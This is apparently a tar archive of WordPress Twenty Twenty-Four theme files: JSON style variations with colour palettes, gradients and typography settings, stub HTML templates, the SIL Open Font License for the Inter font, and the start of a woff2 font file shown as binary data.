2", "slug": "contrast-2" }, { "color": "#FFFFFF", "name": "Contrast", "slug": "contrast" }, { "color": "#D5E0F0", "name": "Contrast / 3", "slug": "contrast-3" } ] }, "typography": { "fontFamilies": [ { "fontFace": [ { "fontFamily": "Cardo", "fontStyle": "normal", "fontWeight": "400", "src": ["file:./assets/fonts/cardo/cardo_normal_400.woff2"] }, { "fontFamily": "Cardo", "fontStyle": "italic", "fontWeight": "400", "src": ["file:./assets/fonts/cardo/cardo_italic_400.woff2"] }, { "fontFamily": "Cardo", "fontStyle": "normal", "fontWeight": "700", "src": ["file:./assets/fonts/cardo/cardo_normal_700.woff2"] } ], "fontFamily": "Cardo", "name": "Cardo", "slug": "body" }, { "fontFace": [ { "fontFamily": "Jost", "fontStyle": "normal", "fontWeight": "100 900", "src": ["file:./assets/fonts/jost/Jost-VariableFont_wght.woff2"] }, { "fontFamily": "Jost", "fontStyle": "italic", "fontWeight": "100 900", "src": [ "file:./assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2" ] } ], "fontFamily": "\"Jost\", sans-serif", "name": "Jost", "slug": "heading" }, { "fontFamily": "-apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui, helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif", "name": "System Sans-serif", "slug": "system-sans-serif" }, { "fontFamily": "Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol", "name": "System Serif", "slug": "system-serif" } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "1rem", "slug": "small" }, { "fluid": false, "name": "Medium", "size": "1.2rem", "slug": "medium" }, { "fluid": { "min": "1.5rem", "max": "2rem" }, "name": "Large", "size": "2rem", "slug": "large" }, { "fluid": { "min": "2rem", "max": "2.65rem" }, "name": "Extra Large", "size": "2.65rem", "slug": "x-large" }, { "fluid": { "min": "2.65rem", "max": "3.5rem" }, "name": "Extra Extra Large", "size": "3.5rem", "slug": "xx-large" } ] } }, "styles": { "blocks": { "core/button": { "variations": { "outline": { "spacing": { "padding": { "bottom": "calc(0.8rem - 2px)", "left": "calc(1.6rem - 2px)", "right": "calc(1.6rem - 2px)", "top": "calc(0.8rem - 2px)" } }, "border": { "width": "2px" } } } }, "core/site-title": { "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontWeight": "normal" } }, "core/navigation": { "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontWeight": "normal" } } }, "elements": { "button": { "border": { "radius": "6px" }, "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--base-2)" }, "spacing": { "padding": { "bottom": "0.98rem", "left": "1.6rem", "right": "1.6rem", "top": "0.8rem" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "var(--wp--preset--font-size--small)", "fontStyle": "normal" }, ":hover": { "color": { "background": "var(--wp--preset--color--contrast)" } } }, "heading": { "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "letterSpacing": "0" } } } } } themes/twentytwentyfour/styles/mint.json000064400000007315152335264760014742 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Mint", "settings": { "color": { "palette": [ { "color": "#e4efeb", "name": "Base", "slug": "base" }, { "color": "#f1fefb", "name": "Base / Two", "slug": "base-2" }, { "color": "#000000", "name": "Contrast", "slug": "contrast" }, { "color": "#353535", "name": "Contrast / Two", "slug": "contrast-2" }, { "color": "#A4A4A4", "name": "Contrast / Three", "slug": "contrast-3" } ] }, "typography": { "fluid": true, "fontFamilies": [ { "fontFace": [ { "fontFamily": "Instrument Sans", "fontStyle": "normal", "fontWeight": "400 700", "src": [ "file:./assets/fonts/instrument-sans/InstrumentSans-VariableFont_wdth,wght.woff2" ] }, { "fontFamily": "Instrument Sans", "fontStyle": "italic", "fontWeight": "400 700", "src": [ "file:./assets/fonts/instrument-sans/InstrumentSans-Italic-VariableFont_wdth,wght.woff2" ] } ], "fontFamily": "\"Instrument Sans\", sans-serif", "name": "Instrument Sans", "slug": "heading" }, { "fontFace": [ { "fontFamily": "Jost", "fontStyle": "normal", "fontWeight": "100 900", "src": ["file:./assets/fonts/jost/Jost-VariableFont_wght.woff2"] }, { "fontFamily": "Jost", "fontStyle": "italic", "fontWeight": "100 900", "src": [ "file:./assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2" ] } ], "fontFamily": "\"Jost\", sans-serif", "name": "Jost", "slug": "body" }, { "fontFamily": "-apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui, helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif", "name": "System Sans-serif", "slug": "system-sans-serif" }, { "fontFamily": "Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol", "name": "System Serif", "slug": "system-serif" } ] } }, "styles": { "blocks": { "core/navigation": { "typography": { "fontStyle": "normal", "fontWeight": "400" } }, "core/pullquote": { "typography": { "fontFamily": "var(--wp--preset--font-family--body)", "fontSize": "var(--wp--preset--font-size--x-large)", "fontStyle": "normal", "fontWeight": "600", "lineHeight": "1.3" } }, "core/quote": { "typography": { "fontFamily": "var(--wp--preset--font-family--body)", "fontSize": "var(--wp--preset--font-size--large)", "fontStyle": "normal", "fontWeight": "400" } }, "core/site-title": { "typography": { "fontFamily": "var(--wp--preset--font-family--heading)" } } }, "elements": { "caption": { "typography": { "fontFamily": "var(--wp--preset--font-family--body)" } }, "h1": { "typography": { "fontSize": "var(--wp--preset--font-size--x-large)" } }, "h2": { "typography": { "fontSize": "2.1rem" } }, "h3": { "typography": { "fontSize": "var(--wp--preset--font-size--large)" } }, "h4": { "typography": { "fontSize": "1.6rem" } }, "h5": { "typography": { "fontSize": "1.4rem" } }, "heading": { "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontStyle": "normal", "fontWeight": "600" } } }, "typography": { "fontFamily": "var(--wp--preset--font-family--body)" } } } themes/twentytwentyfour/styles/rust.json000064400000006126152335264760014767 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Rust", "settings": { "color": { "duotone": [ { "colors": [ "#A62B0C", "#F3F0E7" ], "slug": "duotone-1", "name": "Dark rust to beige" } ], "gradients": [ { "slug": "gradient-1", "gradient": "linear-gradient(to bottom, #A62A0C42 0%, #F3F0E7 100%)", "name": "Vertical transparent rust to beige" }, { "slug": "gradient-7", "gradient": "linear-gradient(to bottom, #A62A0C42 50%, #F3F0E7 50%)", "name": "Vertical hard transparent rust to beige" }, { "slug": "gradient-2", "gradient": "linear-gradient(to bottom, #A62B0C 0%, #F3F0E7 100%)", "name": "Vertical rust to beige" }, { "slug": "gradient-8", "gradient": "linear-gradient(to bottom, #A62B0C 50%, #F3F0E7 50%)", "name": "Vertical hard rust to beige" } ], "palette": [ { "color": "#F3F0E7", "name": "Base", "slug": "base" }, { "color": "#ECEADF", "name": "Base / 2", "slug": "base-2" }, { "color": "#A62B0C", "name": "Contrast", "slug": "contrast" } ] } }, "styles": { "blocks": { "core/calendar": { "css": ".wp-block-calendar table:where(:not(.has-text-color)) th{background-color:var(--wp--preset--color--contrast);color:var(--wp--preset--color--base);border-color:var(--wp--preset--color--contrast)} & table:where(:not(.has-text-color)) td{border-color:var(--wp--preset--color--contrast)}" }, "core/comment-date": { "color": { "text": "var(--wp--preset--color--contrast)" }, "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast)" } } } }, "core/comment-edit-link": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast)" } } } }, "core/comment-reply-link": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast)" } } } }, "core/post-date": { "color": { "text": "var(--wp--preset--color--contrast)" }, "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast)" } } } }, "core/post-terms": { "css":"& .wp-block-post-terms__prefix{color: var(--wp--preset--color--contrast);}" }, "core/quote": { "color": { "background": "var(--wp--preset--color--base)" } }, "core/site-tagline": { "color": { "text": "var(--wp--preset--color--contrast)" } } }, "elements": { "button": { ":focus": { "color": { "background": "var(--wp--preset--color--contrast)" }, "border": { "color": "var(--wp--preset--color--contrast)" } }, ":hover": { "color": { "background": "var(--wp--preset--color--contrast)" }, "border": { "color": "var(--wp--preset--color--contrast)" } } }, "caption": { "color": { "text": "var(--wp--preset--color--contrast)" } } } } } themes/twentytwentyfour/styles/ice.json000064400000014432152335264760014531 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Ice", "settings": { "color": { "gradients": [ { "slug": "gradient-1", "gradient": "linear-gradient(to bottom, #cbd9e1 0%, #EBEBEF 100%)", "name": "Vertical azure to ice" }, { "slug": "gradient-2", "gradient": "linear-gradient(to bottom, #466577 0%, #EBEBEF 100%)", "name": "Vertical slate to ice" }, { "slug": "gradient-3", "gradient": "linear-gradient(to bottom, #37505d 0%, #EBEBEF 100%)", "name": "Vertical ocean to ice" }, { "slug": "gradient-4", "gradient": "linear-gradient(to bottom, #1C2930 0%, #EBEBEF 100%)", "name": "Vertical ink to ice" }, { "slug": "gradient-5", "gradient": "linear-gradient(to bottom, #37505d 0%, #466577 100%)", "name": "Vertical ocean to slate" }, { "slug": "gradient-6", "gradient": "linear-gradient(to bottom, #1C2930 0%, #37505d 100%)", "name": "Vertical ink to ocean" }, { "slug": "gradient-7", "gradient": "linear-gradient(to bottom, #EBEBEF 50%, #cbd9e1 50%)", "name": "Vertical hard ice to azure" }, { "slug": "gradient-8", "gradient": "linear-gradient(to bottom, #466577 50%, #EBEBEF 50%)", "name": "Vertical hard slate to ice" }, { "slug": "gradient-9", "gradient": "linear-gradient(to bottom, #37505d 50%, #EBEBEF 50%)", "name": "Vertical hard ocean to ice" }, { "slug": "gradient-10", "gradient": "linear-gradient(to bottom, #1C2930 50%, #EBEBEF 50%)", "name": "Vertical hard ink to ice" }, { "slug": "gradient-11", "gradient": "linear-gradient(to bottom, #37505d 50%, #466577 50%)", "name": "Vertical hard ocean to slate" }, { "slug": "gradient-12", "gradient": "linear-gradient(to bottom, #1C2930 50%, #37505d 50%)", "name": "Vertical hard ink to ocean" } ], "palette": [ { "color": "#EBEBEF", "name": "Base", "slug": "base" }, { "color": "#DCE0E6", "name": "Base / Two", "slug": "base-2" }, { "color": "#1C2930", "name": "Contrast", "slug": "contrast" }, { "color": "#37505d", "name": "Contrast / Two", "slug": "contrast-2" }, { "color": "#96A5B2", "name": "Contrast / Three", "slug": "contrast-3" } ] }, "typography": { "fontFamilies": [ { "fontFace": [ { "fontFamily": "Inter", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "300 900", "src": [ "file:./assets/fonts/inter/Inter-VariableFont_slnt,wght.woff2" ] } ], "fontFamily": "\"Inter\", sans-serif", "name": "Inter", "slug": "heading" }, { "fontFace": [ { "fontFamily": "Jost", "fontStyle": "normal", "fontWeight": "100 900", "src": ["file:./assets/fonts/jost/Jost-VariableFont_wght.woff2"] }, { "fontFamily": "Jost", "fontStyle": "italic", "fontWeight": "100 900", "src": [ "file:./assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2" ] } ], "fontFamily": "\"Jost\", sans-serif", "name": "Jost", "slug": "body" }, { "fontFamily": "-apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui, helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif", "name": "System Sans-serif", "slug": "system-sans-serif" }, { "fontFamily": "Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol", "name": "System Serif", "slug": "system-serif" } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "1rem", "slug": "small" }, { "fluid": false, "name": "Medium", "size": "1.2rem", "slug": "medium" }, { "fluid": { "min": "1.5rem", "max": "2rem" }, "name": "Large", "size": "2rem", "slug": "large" }, { "fluid": { "min": "2rem", "max": "2.65rem" }, "name": "Extra Large", "size": "2.65rem", "slug": "x-large" }, { "fluid": { "min": "2.65rem", "max": "3.5rem" }, "name": "Extra Extra Large", "size": "3.5rem", "slug": "xx-large" } ] } }, "styles": { "blocks": { "core/button": { "variations": { "outline": { "spacing": { "padding": { "bottom": "calc(1rem - 1px)", "left": "calc(2.2rem - 1px)", "right": "calc(2.2rem - 1px)", "top": "calc(1rem - 1px)" } }, "border": { "width": "1px" } } } }, "core/pullquote": { "typography": { "fontSize": "var(--wp--preset--font-size--large)", "fontStyle": "normal", "fontWeight": "normal", "lineHeight": "1.2" } }, "core/quote": { "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "var(--wp--preset--font-size--large)", "fontStyle": "normal" }, "variations": { "plain": { "typography": { "fontStyle": "normal", "fontWeight": "400" } } } }, "core/site-title": { "typography": { "fontWeight": "400" } } }, "elements": { "button": { "border": { "radius": "4px", "color": "var(--wp--preset--color--contrast-2)" }, "color": { "background": "var(--wp--preset--color--contrast-2)", "text": "var(--wp--preset--color--white)" }, "spacing": { "padding": { "bottom": "1rem", "left": "2.2rem", "right": "2.2rem", "top": "1rem" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "0.75rem", "fontStyle": "normal", "textTransform": "uppercase", "letterSpacing": "0.1rem" }, ":hover": { "color": { "background": "var(--wp--preset--color--contrast)" }, "border": { "color": "var(--wp--preset--color--contrast)" } } }, "heading": { "typography": { "fontWeight": "normal", "letterSpacing": "0" } } } } } themes/twentytwentyfour/templates/single.html000064400000004644152335264760015724 0ustar00

    themes/twentytwentyfour/templates/search.html000064400000001454152335264760015704 0ustar00
    themes/twentytwentyfour/templates/index.html000064400000000676152335264760015553 0ustar00
    themes/twentytwentyfour/templates/page-wide.html000064400000002231152335264760016273 0ustar00
    themes/twentytwentyfour/templates/404.html000064400000001077152335264760014747 0ustar00
    themes/twentytwentyfour/templates/page.html000064400000002070152335264760015346 0ustar00
    themes/twentytwentyfour/templates/page-with-sidebar.html000064400000003721152335264760017732 0ustar00
    themes/twentytwentyfour/templates/single-with-sidebar.html000064400000005436152335264760020304 0ustar00
    themes/twentytwentyfour/templates/home.html000064400000000660152335264760015365 0ustar00
    themes/twentytwentyfour/templates/archive.html000064400000001026152335264760016053 0ustar00
    themes/twentytwentyfour/templates/page-no-title.html000064400000000641152335264760017101 0ustar00
    themes/twentytwentyfour/assets/fonts/inter/LICENSE.txt000064400000010430152335264760017144 0ustar00Copyright 2020 The Inter Project Authors (https://github.com/rsms/inter) This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: http://scripts.sil.org/OFL ----------------------------------------------------------- SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 ----------------------------------------------------------- PREAMBLE The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others. The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives. DEFINITIONS "Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation. "Reserved Font Name" refers to any names specified as such after the copyright statement(s). "Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s). "Modified Version" refers to any derivative made by adding to, deleting, or substituting -- in part or in whole -- any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment. "Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software. PERMISSION & CONDITIONS Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. TERMINATION This license becomes null and void if any of the above conditions are not met. DISCLAIMER THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. themes/twentytwentyfour/assets/fonts/inter/Inter-VariableFont_slnt,wght.woff2000064400001175744152335264760023754 0ustar00wOF2 Kn[0x?HVAR?`?STATF /  P06$J ~ [ʻBK_G^.8! #;;o*"4=mIJz+j'n!" 'jkϜ9et5l8UId^Of?n 9nA9B  SCPEZ[  +ĩd J 2ιl.OC!M֢D>U*UƖkR̗̳zYoa",v^_u-1E+Wkk8̓-mˊRdZ~d3ТCnuV҉BT!6}V (9lPYaqS!'?gb? zu6w.Pa'f\&_cgRf. %\7V1ǓUAT{|cʨyޓyA0}ac33g;Nd*M8aЮHpoo }E"nRG3I,}2iia,K 4ږ,a>YG M ciaJ?r]Xu;mk:q[{o. IbL7ۊ4 \C)pC&F5)slj60!?KI,M C Y@U9ǡRURQb Wvź M~%_!犥(SOSuԹ^N`N,s!ș(o,ϙւYJ? 1oؽo/l! Am2{H ]JMʒdkv;WܢAg+Š~ xLF^U]j-` R>kŨCmdJ[̸Tce>N$`_kE'B~GΒ}69ljet+>FLK\%§fB C Be{0=Q?X|I,Šk{oO:XtJB8)]B$B84JeF5@PH "8ĎB4҈JYfJ_a. Zw0Voqzl&2Bg6ZV`WV!9 P#Kujc$C&El9,}}lƘƆaL> .W)*WZʕ+WUͯnX0$5=|%:N}Aـˊ f>.7VlVd 54S?f=ou.ӡ>֥24F5bĈ15\BK)LW><[ntnF8F8#&GD䴌'#2\{.J˪8ה_U+ZӅE}u/qCueFG#@>I5gf%D)eY/;Q8.{JUan=LSRbR (Cd]8"Ě?AeF jw e$dd½Ā.'3+Ǘ }u^u m\g0b h^&|>{?@/IXɟP͢,Y+E(b#BQ8]osUuTĢ*Zb,-x3sSUG̿v hn*dhyZZ26z`9IIxea(FB7M j7'J3Kut'XlMb [D 48Yl%O4{8/ ǐnM]Lu:#s5p`8'0bv@;یz9:cy,aQ (DM 8-[z/7Rn7߼.^ӄKSz%$q{iKJH޸ %q#@a`ű<@i{MI'p8܅~Ȑ4ߐH$BC DbW9yGP1bWq F&C#piI4Aa фfi Cc"DWAY+1CQ& b [~χϹJ n'T{^zwTyJ`BI%OR舵ͧW?gs$A`EDuՇ_}Y$=7˽ d\`6v9q! CZ.KPC(QF(<5Q tTfK&@w y?, ~B#|* Qs޹Z+++iVd5I$I$I&I$Y+YMdOd'MV$+I$I$ɞ$IJ${gͦTx B:f>ˤ˶붞Kq`IMcϠ̘A F >bLS>%  ${WUIݶC>t#%`XxpWPQDm- ź-w ϓwa !ўytj-I_ғ%}I_%%}۲-a0`!B(hHI.벍ks܎۱]q\r]c=.ܔq)I8G!%TPy9ϼ:/26'e/ǵ^2:{z\6. 0F8( C 1!q˜M]R/c.G4SXCR4)ͺ]76Iٓ?ΞH#;NBR8-cXƲ 1A b$ EFWb 2gꧦh-X0ٓ?R;w,1ƌBrKZVuWnuAeVGdff;;{@LG/{&A"pr HUC`: ro{.lo++3sjQ 1uek 2WboXZcKH*J;Ouk괚nD|/|arW@)P*U TA(ȯE@ASy TP*T(PBVPX׮VڕYX] vWvnS֮"iEE#GҚ|H$'_bG܂} .`0ɢM;%PcdCp_p&̟z(ÜU0 !2vϪoU`d6*-d(*@jK>Y!6[(7TE喿(?_''x8vL!b VLϊ%.Al:my( q CɧA,AD$ <|D'pT<ҥ`wQ1Zo ~if3o&|\ܹNxGHJ@Rٯ&j6 $!YFiCNBRwTW3w%rQ JsǼ/G>7p>PU]VTtn[~j;xr.g+T_֕R c/{'UMBQϪ׷_&BR#"d(1KJ__[.}_mHO@IP˓_):3KDQU=Mar=߻"^Gdយ!#{"ȌH#2AcD'%PQ{& DHf550LYU=z5jWmӸղ{߻G/3[H O,>Qk,SMW[9ێ>ŠOzSo$5P#WZ&d@-PKHV,s-DH1OQU 40EVP EPr b?KzAB*@C4옆aҚ0@0BLz2nK*E5M59X56Ȅ=B 1O"q5XLC+<wuS $YA&ǿX&KĿ;HN<,h`,n3%hxԢY˚$h.k>UEPlcD ef_ )0A!A_Sszw&EcrN`B0a !ke=;G6{flpIn;!!0B<^в*XHdzPR߇ڷԯ~3oUKac-YFIp'%Tew7bDĈhZiٻ>BavSDOT4ICb"*q/vӸjB`7q]V06BBi{ Wܝ٣)WD A!&4{ؘsBTDf7#c Vy^u[l:!@HIH2,^vi&1FQ>Ɲal֡noR8i^??l}Mt-e:D$D $Lp쳹7rZY H!|tGc>n8FƭIRdT]vjHx=G* OACP&9'Ђ"1`T`L8 x.0&cdi$0=QL>S ,mzIffj`v,檪yyW: wj6!L@!RI*#'ՐjO@! ~QhzT"=g}feM@xkB@m# ( \&&qI@ $I  @z!iɫ/F)!Hui,`H !_ oH; CړQڐ>t-UفAá=4F#"QHxB>7_E/Gh{/!Əwes8Z^@r %LVY9G RT"%eS^uhH=bKyQG6|XJ7?RM'.53egTIS6_[\2vL/>vI`(eع}pAaw[d=na=u{ˆd;7.o NȰ . ǻ%_~S/ C ~CfAhCVæR S‰&:Y EЅ5Э1`<u 0LQLa-F0:11$Epwѭ%r>W}g{g: P><>4.ɥ:)?rm GFmt&x8P$p 0 p#}1"TFoFŨU/q.EX|c8e'JMR+׼ct{ 5V6d=Y*V5c%p! raI@)JSJMM8@@@{B )ր3AqAZV{$=V;[L6LAX f`F0+,}T4 WH*P*Ȅ "j |N`CZ_ S3-Rju,.`U 6vHQ#Һ4/W"̱N$Q,|FPD-keI-LvܣڀȷJ!v?=Gbj#<=WMʂwuN/ff!zuf]Lئ*DW'Q>C@ul@1X!SKZy4W. pY2KMbIM/ wꅄ[q5v'28dk-g;^>"(ےȼ- |*pseB]hsy6paoG $j{#>\Ț9|zWjZ X m0F"*Z.~okf? Lj}|T;DjgH@D A H } DIu$ͦ)jLImK i y;x{TVAHLQQR$ [CO{'N`2`o8ѸqDL#GHNii$!P(,+-Nd; 9 <yڃfGf4=/ whQ?ԗZ4nb--(bE|&Wtr\wN&LKǫ*&C;q#xw$xs-G,Eϑ(q/3i=[?[^}x2_VncsBS}  ]^*m #$F]6q X@YRlݑ3biR*>?tuf%l 1@$&&k:8M]fszƵUp$Zy)v1'C"K7&C%;"`~ -Zk(!jD8 {P Xy7@cR}&U 1A {Y!!§-]ՍIi9q 4$h.(G"("J-Pc$({Α""} kvVy3t#}gqF jNru a][ ىA i Z%mu3\qܾ-]ktOIkzX>B$H&fӴO'hH :6CmH-mhf+PsD ZK[5<,94I#^~KguÎ}w!Pb/ħ 6e[4\npO+0Ff5ޱ,j**oai/.7LOUo%8:S{MDl/r;wx6\J&clI B uyրbqT` #):uSPȞltzu? b @`: C:RÕP`&E20 `Fvy^7cjLU]Z[ǝqz M;0Ё 9vnYXdo0| k_d,[Ls]yXRG=]R"IFXyW9bxZYڻ h<mk{{`h,Cg>x9>9OEg>Ґ2Bcpx8MevG3E`Tn!c=iй.RFvAZw4l*V^x|La`A2?rnM<}`U._nPOOix7C*͋V]nh};fGl>-|>J, *Pc?NɿT~~I= X2c=6m1[ضiFͮ^!?~eXK:yNzDNg$_|r"]y{;E^[_%^Ut56YMXSAd s8L=(]?$s&(zxN~C@\V .|B,ijk,6b+\0+v`A^|PMG>aK~]}|ܯxbR2´!:Mi6yeQG."Cb),w#hr ì^gO Ӫi2U\/ :nl-;D[nc|ml*OV0SSx*ȷSx*'M4rڃӤ D{g/4<݉<ߙ֛@_N.W5o)W0*U6מշI҅t4)23V6`?X$3~/NJrIy7637 ;qǴ?3 {4 >!eDsd/l7dF|,Nam9͒-2zeFH侈<$~J93LNl?b̩K&/ mp:5MRPm׼8i6jN9ʼnn͕ >:{:B˴ї*rT5=P/W gCtTŌ*e*爵Y =&Z˪l@%oVȪHҳWPcli f_cޏJ}gSNRf\{4rQ#ŎbwiҖ#3#Y>?m%i3U࣢;|&;_ba_`^> i'UY~`ѿ1T޼Fg oe} f'a֯({%ZĻʂ37P%욈wSAp{Si 塶Nu! r2ed}}dMkT+fBa"jhEM_aix`76U?IqԘ=O֏WG B6b |"Yn$ݑ 3s֛cU4M$6F'#QUq[޵)Ld3=H`!qrRz<}|.'7bϥ/vmq:[԰I&Ԫxz^=uT|\ ` Nx;ۅG*AV:+GZ54^n*?Bz {D=[h$nw&)fH!(00<2MMS"s#6-EZEj["By+$헆ћ"k#vt4'GR4Ah@s&|+Ai6\NgSt u:&&_ U6VUNX[w/P8Qy'qj!3&8{HkHaY__D/T@TF88«X);`њV ?ohu ʎV ]zSMv4$gq);4T: 9H$F7T+pq JLP|q4Q%nM}Qﭸ^gǞF[ƁXpT4bjthԂQMK$r)i0_.Ͱ)e8r6)+adŁ)fI7y&Еj^-2J4@&7yP + ӯ9jtE-ѥt9FG,:{?OWLXT6 nw}ڵs5[0"$jj" PaMBS+xػ$ҥUcFK3D;^1¶,Q;߆{?qWr+{dܕ{$fs&.ZՕ.eI2{}X@WW3K䜜 O+_;[f,DbG~:p9,,rOͰe?$LˣiiZPe9e$hVzP#\t _gn " y]>v7,k˭ ؝u]Ѳ٭ [B+.ha 2',9̞[ 55E+)UxkLYLlt`k&0u͍J@Rtr ,2R#I;a0c!\Bů:/|]jEɯy~La[%wd:6Y?4ݑw?a?Wq, "o>"u=|01d/~WR'?YrʨqƁ4NY Nd5\YLeͤܓ3V@d~Վ0* {3aWiڔ`oN_T*\dB05dlZytxnEɃ3-HQpQ HRtsk!mǶra0l 酭xHJRɆm RD2Z?hGTP_OP9EHG3cQGme XiU|~';0;'aXKmVPxLžGl>0?n~8czc`^zy]v%NuRthp31 .iT}A AeAr"i"v78 MQNLJxppC1YtD= 2 pu573@螙HO6Κϭȁ3c8)۫|<=rqqQ[/bS/8}?$ѩNtf k3z:9o'$ϔ51\< ~3@wupf& Е]i4]eP D(1 q,#o_јh4ci5F rU)LN$hA95{M n^gM(~ |.6| |$ vMDW;(}KfY9ʉtCŠ{ī½$cPXƈG ˷֣dna`dͣx6-su4Mp U'>'0t/ښ3 ꥥIn@F9W>38ſxz{*S1mX*#u1c2@0Ue=:(uBww{Ee0hFa{LM{EYL`qrL)Z\95-j ({\M# ^Ҭ@:1^u7( b9;{#!H?{ٶ&|)bmB/yP+H[\6tQ~+n}ic@r6r1)$ hq=+X(!݂J^LΡDBeA,1~-oBXr gO!1q HQ; :ӳVؗJF5zi) KYAa0f[BBom̪q+z5'fZkĺz0L<)B!a8E [Rw .+Ȭvs@IJZ*NPD./I jGBj maBxJ{mgu7z&BV9i=0/4\e~e5fdy( ((_FC[7 |*c2dᧉY!P9 $|9/`;{(:.-R@ƪ.G a*GiОjqi`M);dǤ@XëxNRUU@H VmnSDnUO>OM}oԧb}l|4j1:E~<:F̪2Ȳ'wJB<0T\k@bc(vX_ntbp!: UJN}6p_M6f<H0>66wA6[@ 4_e4Gġra1F V9WqI ̎V}Y j)bT4@$}L$Z;lT}ydoa 6ce aƉ[+ !Q<@=blۭH!c|onRZ~n4L S2z! H)$ e|3@Xȗ5Zcڟc,t,m{+nW.u$=`Hsa@>TcnJkS9g(KlУ^9E림Bz[Mo)[ELz;ZHȬaP /jY~&W5ZR(dwg$ro}S.CT|xKI5q]6s[U`Ջ>5":5sj^2⏻ry_ڏ?5 ^ yJw|Gb~J]ZSkgʇ|/`|ʵѰF}~t^H-!V?VE3U|f%Yg0#!yi}qYk3,3eV7;9k !V~AT  zLׅ$8>KP͆JLc5nOIEMlf6 \f'fd$0AAW6Hoɵx"khW6xK[z'Gd5&Ұn'7]R@$@LCe<ɑ=rZ.o$׹,ȝ.:挻zz==d;)c+PvM.'"t.H''\)0,`ߞ6nW( 5qm"({Rx?¢Ҙw6hAft8¹ [E= Tdo(k_Mt 8() ]AϞ{8xQ yM׊ z-y.S]asBOZU~m쩝 _K͗~G>YZ!kڴbGf2 nϯr:y.9H: KK6暺k'I%iف|@_mS&[jdC(A:j2ltH6͈l}Q,bKB! fRtA UL$4w(ID|q( (NdAɟZBڴ,7:X2PRY;yQ\t 7}CvLMhv&'{1g^RgiGz5ڟcAv s^iA]\3=M-,wűUEsE>=eLD"u_bA"4T\ɎK 